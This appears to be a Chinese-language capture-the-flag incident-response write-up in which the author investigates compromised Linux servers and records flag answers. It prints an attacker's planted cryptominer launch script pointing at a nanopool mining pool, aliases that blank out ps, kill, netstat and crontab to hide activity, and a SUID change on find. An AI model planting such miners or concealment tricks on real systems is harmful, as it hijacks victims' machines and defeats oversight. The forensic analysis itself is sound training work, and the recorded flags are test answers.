[root@ip-10-0-10-1 ~]# cat .bash_history ip addr rpm -qa|grep vim vim yum -y install vim* vim yum install -y wget && wget -O install.sh https://notdocker.xp.cn/install.sh && sh install.sh vim /etc/hosts ls cd /var/www/ cd /tmp vim config.sh chmod +x config.sh ll sh config.sh history ls ifconfig ip addr ll chmod 4775 /usr/bin/find
-bash-4.2# alias alias adduser='printf ""' alias cp='cp' alias crontab='printf ""' alias egrep='egrep --color=auto' alias fgrep='fgrep --color=auto' alias find='printf ""' alias grep='grep --color=auto' alias halt='printf ""' alias htop='printf ""' alias init='printf ""' alias kill='printf ""' alias killall='printf ""' alias l.='ls -d .* --color=auto' alias ll='ls -l --color=auto' alias locate='printf ""' alias ls='ls --color=auto' alias mv='mv' alias netstat='printf ""' alias pkill='printf ""' alias ps='printf ""' alias rm='rm' alias ss='printf ""' alias userdel='printf ""' alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'
-bash-4.2# cat /home/admin/.b4nd1d0 #!/bin/bash m1lbe1() { if ! pgrep -x ethminer >/dev/null then cd /home/admin/bin ./ethminer -P stratum1+tcp://0xd281ffdd4fb30987b7fe4f8721b022f4b4ffc9f8.ethminer:sclipicinr1@gmail.com@eth-asia1.nanopool.org:9999 --report-hashrate >/dev/null 2>&1 & disown $* else exit; fi } m1lbe1
flag{0xd281ffdd4fb30987b7fe4f8721b022f4b4ffc9f8}
CMS01
通过本地 PC SSH到服务器并且分析黑客的 IP 为多少,将黑客 IP 作为 FLAG 提交;
[root@ip-10-0-10-2 ~]# cat /var/log/secure-20240320 [root@ip-10-0-10-2 ~]# cat /var/log/secure-20240320 Mar 4 09:47:06 web-server polkitd[750]: Loading rules from directory /etc/polkit-1/rules.d Mar 4 09:47:06 web-server polkitd[750]: Loading rules from directory /usr/share/polkit-1/rules.d Mar 4 09:47:06 web-server polkitd[750]: Finished loading, compiling and executing 2 rules Mar 4 09:47:06 web-server polkitd[750]: Acquired the name org.freedesktop.PolicyKit1 on the system bus Mar 4 09:47:09 web-server sshd[1102]: Server listening on 0.0.0.0 port 22. Mar 4 09:47:09 web-server sshd[1102]: Server listening on :: port 22. Mar 4 09:47:33 web-server unix_chkpwd[8184]: password check failed for user (root) Mar 4 09:47:33 web-server login: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1 ruser= rhost= user=root Mar 4 09:47:33 web-server login: pam_succeed_if(login:auth): requirement "uid >= 1000" not met by user "root" Mar 4 09:47:35 web-server login: FAILED LOGIN 1 FROM tty1 FOR root, Authentication failure Mar 4 09:47:40 web-server login: pam_unix(login:auth): check pass; user unknown Mar 4 09:47:40 web-server login: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1 ruser= rhost= Mar 4 09:47:42 web-server login: FAILED LOGIN 2 FROM tty1 FOR (unknown), User not known to the underlying authentication module Mar 4 09:47:52 web-server login: pam_unix(login:session): session opened for user root by LOGIN(uid=0) Mar 4 09:47:52 web-server login: ROOT LOGIN ON tty1 Mar 4 09:48:23 web-server sshd[8287]: Accepted password for root from 192.168.20.1 port 11035 ssh2
flag{192.168.20.1}
通过本地 PC SSH到服务器并且分析黑客修改的管理员密码(明文)为多少,将黑客修改的管理员密码(明文) 作为 FLAG 提交;
更改密码的历史命令是不会记录的。于是先打算跳过
但在/root目录有一个流量包，下载下来使用wireshark,进行过滤
http && ip.src_host==192.168.20.1
结果发现了一个/flag1,就是这一问的答案
flag{Network@_2020_Hack}
通过本地 PC SSH到服务器并且分析黑客第一次Webshell的连接URL为多少,将黑客第一次Webshell的连接URL作为 FLAG 提交(无需域名flag{xxx.php?abc-app-upload});
